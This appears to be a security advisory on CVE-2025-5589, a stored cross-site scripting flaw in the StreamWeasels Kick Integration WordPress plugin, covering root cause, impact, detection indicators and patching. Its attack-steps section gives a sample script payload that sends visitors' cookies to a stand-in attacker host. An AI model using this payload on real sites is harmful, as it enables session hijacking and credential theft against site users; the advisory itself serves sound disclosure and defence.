CVE-2025-5589: 
WordPress vulnerability analysis and mitigation

CVE-2025-5589 is a Stored Cross-Site Scripting (XSS) vulnerability in the StreamWeasels Kick Integration plugin for WordPress. It affects all versions up to and including 1.1.3, allowing authenticated attackers with Contributor-level access or above to inject arbitrary web scripts via the status-classic-offline-text parameter. The vulnerability was published on June 14, 2025, and was reported by Wordfence. It carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence).

The root cause is insufficient input sanitization and output escaping of the status-classic-offline-text parameter in the plugin's public-facing display partial (streamweasels-kick-status-public-display.php, line 50), classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). An authenticated attacker with at least Contributor-level WordPress access can submit a malicious payload through this parameter, which is then stored and rendered unsanitized to any user who visits the affected page. The vulnerable code and the corresponding fix are visible in the WordPress plugin repository (WordPress Trac, WordPress Changeset).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of users who visit pages containing the injected content, impacting both confidentiality and integrity. This can lead to session cookie theft, credential harvesting, redirection to malicious sites, or defacement of WordPress pages. Availability is not directly impacted, but the persistent nature of stored XSS means all site visitors are at risk until the payload is removed (Wordfence).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-5589. The EPSS score is approximately 0.03%, indicating a low probability of exploitation in the near term. The vulnerability requires authenticated access at the Contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities. It is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Wordfence).

1. Reconnaissance: Identify WordPress sites running the StreamWeasels Kick Integration plugin version 1.1.3 or earlier, using tools like WPScan or by checking the plugin version in the site's source or /wp-content/plugins/ directory.
2. Obtain Contributor Access: Register or compromise a WordPress account with at least Contributor-level privileges on the target site.
3. Inject Malicious Payload: Navigate to the plugin's settings or a post/page where the status-classic-offline-text parameter is configurable, and insert a JavaScript payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Trigger Execution: The stored payload executes in the browser of any user (including administrators) who visits the page where the injected content is rendered, enabling session hijacking, credential theft, or further attacks (Wordfence).

• Logs: WordPress access logs showing POST requests to plugin settings or pages containing the status-classic-offline-text parameter with script tags or encoded JavaScript payloads.
• Database: Unexpected <script> tags or JavaScript URIs stored in the WordPress database within fields associated with the StreamWeasels Kick Integration plugin settings.
• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages with the plugin's status widget, potentially indicating cookie or credential exfiltration.
• File System: No direct file system artifacts expected for stored XSS, but review plugin files for unauthorized modifications to streamweasels-kick-status-public-display.php.

Users should update the StreamWeasels Kick Integration plugin to a version beyond 1.1.3, which includes the fix for improper output escaping (the patch is available in the WordPress plugin repository changeset 3309930). As a temporary workaround, site administrators can restrict Contributor-level user permissions or disable the plugin until an update is applied. Regularly auditing user roles and limiting plugin configuration access to trusted roles (Editor or Administrator) reduces exposure (WordPress Changeset, Wordfence).

Wordfence included CVE-2025-5589 in their weekly WordPress vulnerability report for the period of June 9–15, 2025, as part of routine disclosure coverage (Wordfence Blog). No significant independent researcher commentary or broader media coverage has been identified for this vulnerability.